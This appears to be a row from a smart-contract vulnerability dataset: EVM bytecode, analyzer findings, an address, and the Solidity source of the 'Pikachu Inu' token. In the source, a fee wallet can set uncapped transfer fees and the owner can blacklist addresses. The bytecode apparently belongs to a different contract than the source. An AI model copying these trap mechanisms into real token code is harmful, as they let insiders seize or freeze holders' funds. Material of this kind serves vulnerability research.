105da93929190611fc2565b6020604051808303816000875af11580156105f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061d919061200e565b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a890611f36565b60405180910390fd5b6000429050818110156106f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f090611fa2565b60405180910390fd5b61070283610bc9565b60005b8451811015610745576107328582815181106107245761072361203b565b5b602002602001015185610e63565b808061073d9061206a565b915050610705565b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d190611f36565b60405180910390fd5b731344a36a1b56144c3bc62e7757377d288fde036973ffffffffffffffffffffffffffffffffffffffff16630276b64b30836040518363ffffffff1660e01b8152600401610829929190612373565b600060405180830381600087803b15801561084357600080fd5b505af1158015610857573d6000803e3d6000fd5b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610915576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090c90611f36565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109dd90611f36565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401610a219291906123a3565b6020604051808303816000875af1158015610a40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a64919061200e565b50505050565b600080731344a36a1b56144c3bc62e7757377d288fde036973ffffffffffffffffffffffffffffffffffffffff1663e74b6e4e856040518263ffffffff1660e01b8152600401610aba91906123cc565b61010060405180830381865afa158015610ad8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afc919061258c565b9150506000816000015173ffffffffffffffffffffffffffffffffffffffff1663b2fffb046040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b749190611eac565b90506000610bbb836020015160ff16610bad6402540be400610b9f89876111b390919063ffffffff16565b61123b90919063ffffffff16565b61123b90919063ffffffff16565b905080935050505092915050565b6000429050600060036005600662015180610be491906125cd565b610bee91906125cd565b610bf891906125cd565b610c01836112a9565b610c0b9190612627565b9050600080731344a36a1b56144c3bc62e7757377d288fde036973ffffffffffffffffffffffffffffffffffffffff16858485604051602401610c509392919061267d565b6040516020818303038152906040527f709d6c7b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610cda919061272e565b600060405180830381855afa9150503d8060008114610d15576040519150601f19603f3d011682016040523d82523d6000602084013e610d1a565b606091505b5091509150610d276114a6565b8215610dd85781806020019051810190610d419190612824565b905060008160c001511415610dd357731344a36a1b56144c3bc62e7757377d288fde036973ffffffffffffffffffffffffffffffffffffffff1663d0e064c08760006040518363ffffffff1660e01b8152600401610da0929190612861565b600060405180830381600087803b158015610dba57600080fd5b505af1158015610dce573d6000803e3d6000fd5b505050505b610e5b565b731344a36a1b56144c3bc62e7757377d288fde036973ffffffffffffffffffffffffffffffffffffffff1663d0e064c08760006040518363ffffffff1660e01b8152600401610e28929190612861565b600060405180830381600087803b158015610e4257600080fd5b505af1158015610e56573d6000803e3d6000fd5b505050505b505050505050565b610e6c82611324565b600060019050600080610e808585856101d4565b9150915060008212610e94575050506111af565b6000602067ffffffffffffffff811115610eb157610eb0611725565b5b6040519080825280601f01601f191660200182016040528015610ee35781602001600182028036833780820191505090505b50905060016005811115610efa57610ef96120df565b5b8483610f0590611df3565b6000604051602001610f1a9493929190612953565b60405160208183030381529060405290506000602067ffffffffffffffff811115610f4857610f47611725565b5b6040519080825280601f01601f191660200182016040528015610f7a5781602001600182028036833780820191505090505b509050600580811115610f9057610f8f6120df565b5b876000604051602001610fa5939291906129e9565b60405160208183030381529060405290506000600267ffffffffffffffff811115610fd357610fd2611725565b5b6040519080825280602002602001820160405280156110015781602001602082028036833780820191505090505b50905061100d83611483565b816000815181106110215761102061203b565b5b60200260200101818152505061103682611483565b8160018151811061104a5761104961203b565b5b60200260200101818152505060006040518060e0016040528060006006811115611077576110766120df565b5b81526020018961ffff16815260200160008152602001600081526020016000151581526020016000151581526020018381525090506000600167ffffffffffffffff8111156110c9576110c8611725565b5b60405190808252806020026020018201604052801561110257816020015b6110ef6114ee565b8152602001906001900390816110e75790505b509050818160008151811061111a5761111961203b565b5b6020026020010181905250731344a36a1b56144c3bc62e7757377d288fde036973ffffffffffffffffffffffffffffffffffffffff16630276b64b30836040518363ffffffff1660e01b8152600401611174929190612373565b600060405180830381600087803b15801561118e57600080fd5b505af11580156111a2573d6000803e3d6000fd5b5050505050505050505050505b5050565b600081836111c19190612a26565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83141561121257600082148061120457508282826112029190612b6c565b145b61120d57600080fd5b611235565b600083148061122b57508183826112299190612b6c565b145b61123457600080fd5b5b92915050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214801561128b57507f800000000000000000000000000000000000000000000000000000000000000083145b1561129557600080fd5b81836112a19190612b6c565b905092915050565b6000600360056006620151806112bf91906125cd565b6112c991906125cd565b6112d391906125cd565b8210156112df57600080fd5b600360056006620151806112f391906125cd565b6112fd91906125cd565b61130791906125cd565b826113129190612bd6565b8261131d9190612c07565b9050919050565b60004290506000731344a36a1b56144c3bc62e7757377d288fde036973ffffffffffffffffffffffffffffffffffffffff1663b0de2217846040518263ffffffff1660e01b81526004016113789190611c40565b60a060405180830381865afa158015611395573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b99190612dc9565b90506000816000015164ffffffffff1660001080156113e3575082826000015164ffffffffff1611155b9050801561147d57731344a36a1b56144c3bc62e7757377d288fde036973ffffffffffffffffffffffffffffffffffffffff1663f667f897856040518263ffffffff1660e01b81526004016114389190611c40565b60a0604051808303816000875af1158015611457573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147b9190612dc9565b505b50505050565b60008082511415611499576000801b90506114a1565b602082015190505b919050565b60405180610100016040528060008019168152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b6040518060e001604052806000600681111561150d5761150c6120df565b5b8152602001600061ffff1681526020016000815260200160008152602001600015158152602001600015158152602001606081525090565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061158482611559565b9050919050565b61159481611579565b811461159f57600080fd5b50565b6000813590506115b18161158b565b92915050565b600061ffff82169050919050565b6115ce816115b7565b81146115d957600080fd5b50565b6000813590506115eb816115c5565b92915050565b6000819050919050565b611604816115f1565b811461160f57600080fd5b50565b600081359050611621816115fb565b92915050565b6000806000606084860312156116405761163f61154f565b5b600061164e868287016115a2565b935050602061165f868287016115dc565b925050604061167086828701611612565b9150509250925092565b6000819050919050565b61168d8161167a565b82525050565b60006040820190506116a86000830185611684565b6116b56020830184611684565b9392505050565b6000806000606084860312156116d5576116d461154f565b5b60006116e3868287016115a2565b93505060206116f4868287016115a2565b925050604061170586828701611612565b9150509250925092565b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61175d82611714565b810181811067ffffffffffffffff8211171561177c5761177b611725565b5b80604052505050565b600061178f611545565b905061179b8282611754565b919050565b600067ffffffffffffffff8211156117bb576117ba611725565b5b602082029050602081019050919050565b600080fd5b60006117e46117df846117a0565b611785565b90508083825260208201905060208402830185811115611807576118066117cc565b5b835b81811015611830578061181c88826115a2565b845260208401935050602081019050611809565b5050509392505050565b600082601f83011261184f5761184e61170f565b5b813561185f8482602086016117d1565b91505092915050565b6000806000606084860312156118815761188061154f565b5b600084013567ffffffffffffffff81111561189f5761189e611554565b5b6118ab8682870161183a565b93505060206118bc868287016115dc565b92505060406118cd86828701611612565b9150509250925092565b600067ffffffffffffffff8211156118f2576118f1611725565b5b602082029050602081019050919050565b600080fd5b600080fd5b6007811061191a57600080fd5b50565b60008135905061192c8161190d565b92915050565b60008115159050919050565b61194781611932565b811461195257600080fd5b50565b6000813590506119648161193e565b92915050565b600067ffffffffffffffff82111561198557611984611725565b5b602082029050602081019050919050565b6000819050919050565b6119a981611996565b81146119b457600080fd5b50565b6000813590506119c6816119a0565b92915050565b60006119df6119da8461196a565b611785565b90508083825260208201905060208402830185811115611a0257611a016117cc565b5b835b81811015611a2b5780611a1788826119b7565b845260208401935050602081019050611a04565b5050509392505050565b600082601f830112611a4a57611a4961170f565b5b8135611a5a8482602086016119cc565b91505092915050565b600060e08284031215611a7957611a78611903565b5b611a8360e0611785565b90506000611a938482850161191d565b6000830152506020611aa7848285016115dc565b6020830152506040611abb84828501611612565b6040830152506060611acf84828501611612565b6060830152506080611ae384828501611955565b60808301525060a0611af784828501611955565b60a08301525060c082013567ffffffffffffffff811115611b1b57611b1a611908565b5b611b2784828501611a35565b60c08301525092915050565b6000611b46611b41846118d7565b611785565b90508083825260208201905060208402830185811115611b6957611b686117cc565b5b835b81811015611bb057803567ffffffffffffffff811115611b8e57611b8d61170f565b5b808601611b9b8982611a63565b85526020850194505050602081019050611b6b565b5050509392505050565b600082601f830112611bcf57611bce61170f565b5b8135611bdf848260208601611b33565b91505092915050565b600060208284031215611bfe57611bfd61154f565b5b600082013567ffffffffffffffff811115611c1c57611c1b611554565b5b611c2884828501611bba565b91505092915050565b611c3a81611579565b82525050565b6000602082019050611c556000830184611c31565b92915050565b600060208284031215611c7157611c7061154f565b5b6000611c7f848285016115a2565b91505092915050565b611c918161167a565b8114611c9c57600080fd5b50565b600081359050611cae81611c88565b92915050565b60008060408385031215611ccb57611cca61154f565b5b6000611cd9858286016115dc565b9250506020611cea85828601611c9f565b9150509250929050565b6000602082019050611d096000830184611684565b92915050565b611d18816115b7565b82525050565b6000604082019050611d336000830185611d0f565b611d406020830184611c31565b9392505050565b600081519050611d5681611c88565b92915050565b600081519050611d6b816115fb565b92915050565b600080600060608486031215611d8a57611d8961154f565b5b6000611d9886828701611d47565b9350506020611da986828701611d47565b9250506040611dba86828701611d5c565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611dfe8261167a565b91507f8000000000000000000000000000000000000000000000000000000000000000821415611e3157611e30611dc4565b5b816000039050919050565b600081600a0b9050919050565b611e5281611e3c565b82525050565b611e61816115f1565b82525050565b6000608082019050611e7c6000830187611d0f565b611e896020830186611e49565b611e966040830185611e58565b611ea36060830184611e58565b95945050505050565b600060208284031215611ec257611ec161154f565b5b6000611ed084828501611d47565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f74206f776e657200000000000000000000000000600082015250565b6000611f20601383611ed9565b9150611f2b82611eea565b602082019050919050565b60006020820190508181036000830152611f4f81611f13565b9050919050565b7f706c6561736520736574746c65206c6174657200000000000000000000000000600082015250565b6000611f8c601383611ed9565b9150611f9782611f56565b602082019050919050565b60006020820190508181036000830152611fbb81611f7f565b9050919050565b6000606082019050611fd76000830186611c31565b611fe46020830185611c31565b611ff16040830184611e58565b949350505050565b6000815190506120088161193e565b92915050565b6000602082840312156120245761202361154f565b5b600061203284828501611ff9565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612075826115f1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156120a8576120a7611dc4565b5b600182019050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6007811061211f5761211e6120df565b5b50565b60008190506121308261210e565b919050565b600061214082612122565b9050919050565b61215081612135565b82525050565b61215f816115b7565b82525050565b61216e816115f1565b82525050565b61217d81611932565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6121b881611996565b82525050565b60006121ca83836121af565b60208301905092915050565b6000602082019050919050565b60006121ee82612183565b6121f8818561218e565b93506122038361219f565b8060005b8381101561223457815161221b88826121be565b9750612226836121d6565b925050600181019050612207565b5085935050505092915050565b600060e0830160008301516122596000860182612147565b50602083015161226c6020860182612156565b50604083015161227f6040860182612165565b5060608301516122926060860182612165565b5060808301516122a56080860182612174565b5060a08301516122b860a0860182612174565b5060c083015184820360c08601526122d082826121e3565b9150508091505092915050565b60006122e98383612241565b905092915050565b6000602082019050919050565b6000612309826120b3565b61231381856120be565b935083602082028501612325856120cf565b8060005b85811015612361578484038952815161234285826122dd565b945061234d836122f1565b925060208a01995050600181019050612329565b50829750879550505050505092915050565b60006040820190506123886000830185611c31565b818103602083015261239a81846122fe565b90509392505050565b60006040820190506123b86000830185611c31565b6123c56020830184611e58565b9392505050565b60006020820190506123e16000830184611d0f565b92915050565b60006123f282611579565b9050919050565b612402816123e7565b811461240d57600080fd5b50565b60008151905061241f816123f9565b92915050565b600060ff82169050919050565b61243b81612425565b811461244657600080fd5b50565b60008151905061245881612432565b92915050565b600060c0828403121561247457612473611903565b5b61247e60c0611785565b9050600061248e84828501612410565b60008301525060206124a284828501612449565b60208301525060406124b684828501611ff9565b60408301525060606124ca84828501612449565b60608301525060806124de84828501612449565b60808301525060a06124f284828501612449565b60a08301525092915050565b600061250982611579565b9050919050565b612519816124fe565b811461252457600080fd5b50565b60008151905061253681612510565b92915050565b60006040828403121561255257612551611903565b5b61255c6040611785565b9050600061256c84828501612527565b600083015250602061258084828501612449565b60208301525092915050565b60008061010083850312156125a4576125a361154f565b5b60006125b28582860161245e565b92505060c06125c38582860161253c565b9150509250929050565b60006125d8826115f1565b91506125e3836115f1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561261c5761261b611dc4565b5b828202905092915050565b6000612632826115f1565b915061263d836115f1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561267257612671611dc4565b5b828201905092915050565b60006060820190506126926000830186611d0f565b61269f6020830185611e58565b6126ac6040830184611e58565b949350505050565b600081519050919050565b600081905092915050565b60005b838110156126e85780820151818401526020810190506126cd565b838111156126f7576000848401525b50505050565b6000612708826126b4565b61271281856126bf565b93506127228185602086016126ca565b80840191505092915050565b600061273a82846126fd565b915081905092915050565b600081519050612754816119a0565b92915050565b6000610100828403121561277157612770611903565b5b61277c610100611785565b9050600061278c84828501612745565b60008301525060206127a084828501611d5c565b60208301525060406127b484828501611d47565b60408301525060606127c884828501611d47565b60608301525060806127dc84828501611d47565b60808301525060a06127f084828501611d5c565b60a08301525060c061280484828501611d5c565b60c08301525060e061281884828501611d5c565b60e08301525092915050565b6000610100828403121561283b5761283a61154f565b5b60006128498482850161275a565b91505092915050565b61285b81611932565b82525050565b60006040820190506128766000830185611d0f565b6128836020830184612852565b9392505050565b60008160f81b9050919050565b60006128a28261288a565b9050919050565b6128ba6128b582612425565b612897565b82525050565b60006affffffffffffffffffffff82169050919050565b60008160a81b9050919050565b60006128ef826128d7565b9050919050565b612907612902826128c0565b6128e4565b82525050565b600063ffffffff82169050919050565b60008160e01b9050919050565b60006129358261291d565b9050919050565b61294d6129488261290d565b61292a565b82525050565b600061295f82876128a9565b60018201915061296f82866128a9565b60018201915061297f82856128f6565b600b8201915061298f828461293c565b60048201915081905095945050505050565b60008160601b9050919050565b60006129b9826129a1565b9050919050565b60006129cb826129ae565b9050919050565b6129e36129de82611579565b6129c0565b82525050565b60006129f582866128a9565b600182019150612a0582856129d2565b601482019150612a1582846128f6565b600b82019150819050949350505050565b6000612a318261167a565b9150612a3c8361167a565b9250827f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0482116000841360008413161615612a7b57612a7a611dc4565b5b817f80000000000000000000000000000000000000000000000000000000000000000583126000841260008413161615612ab857612ab7611dc4565b5b827f80000000000000000000000000000000000000000000000000000000000000000582126000841360008412161615612af557612af4611dc4565b5b827f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0582126000841260008412161615612b3257612b31611dc4565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612b778261167a565b9150612b828361167a565b925082612b9257612b91612b3d565b5b600160000383147f800000000000000000000000000000000000000000000000000000000000000083141615612bcb57612bca611dc4565b5b828205905092915050565b6000612be1826115f1565b9150612bec836115f1565b925082612bfc57612bfb612b3d565b5b828206905092915050565b6000612c12826115f1565b9150612c1d836115f1565b925082821015612c3057612c2f611dc4565b5b828203905092915050565b600064ffffffffff82169050919050565b612c5581612c3b565b8114612c6057600080fd5b50565b600081519050612c7281612c4c565b92915050565b60007fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b612cad81612c78565b8114612cb857600080fd5b50565b600081519050612cca81612ca4565b92915050565b600081519050612cdf816115c5565b92915050565b60007fffffffffffffffffffffffffffffffffffff000000000000000000000000000082169050919050565b612d1a81612ce5565b8114612d2557600080fd5b50565b600081519050612d3781612d11565b92915050565b600060a08284031215612d5357612d52611903565b5b612d5d60a0611785565b90506000612d6d84828501612c63565b6000830152506020612d8184828501612cbb565b6020830152506040612d9584828501612449565b6040830152506060612da984828501612cd0565b6060830152506080612dbd84828501612d28565b60808301525092915050565b600060a08284031215612ddf57612dde61154f565b5b6000612ded84828501612d3d565b9150509291505056fea2646970667358221220036d7f3e723c7d303754abcfb8e34391b7fd4ab1f4f12073a32ce77abeca446664736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 1,668 |
0x19f483afded337bc309299e908496c5bd4c5f3f9
|
/**
*Submitted for verification at Etherscan.io on 2021-10-17
*/
/**
/**
*
PikachuInu - The Fluffiest & Cutest Pokemon Dog 🐕
Be one of the first traders to catch Pikachu Inu with your Crypto Wallet. The first fluffy Pokémon Dog of its kind on the ETH Blockchain. This Pokémon Dog is a Samoyed in a Pikachu costume. With its lightning fast trading capabilities and ability to tackle multiple transactions makes Pikachu Inu the fastest ETH Blockchain Pokémon Dog out there. Hurry because Pikachu Inu is only found in the UniSwap Region.
Gotta Trade em’ All !!!
- 2% redistribution in token to all holders
- 3% is added to liquidity pool
- 5% is added to our marketing and development funds
☑️LP Lock: we will lock LP for 3 months right after launch.
☑️ Renounce: we will not renounce the contract as it hurts the project and prevent future development
Social Media Links:
Website: https://pikachuinu.com/
Twitter: https://twitter.com/PikachuInu
Telegram: https://t.me/pikachuinuofficial
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PikachuInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 5;
uint256 private _feeAddr2 = 5;
address payable private _feeAddrWallet1 = payable(0xFAE35eD658888A0975B446E60ebfBc7665453e12);
address payable private _feeAddrWallet2 = payable(0xFAE35eD658888A0975B446E60ebfBc7665453e12);
string private constant _name = "Pikachu Inu";
string private constant _symbol = "PIKA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
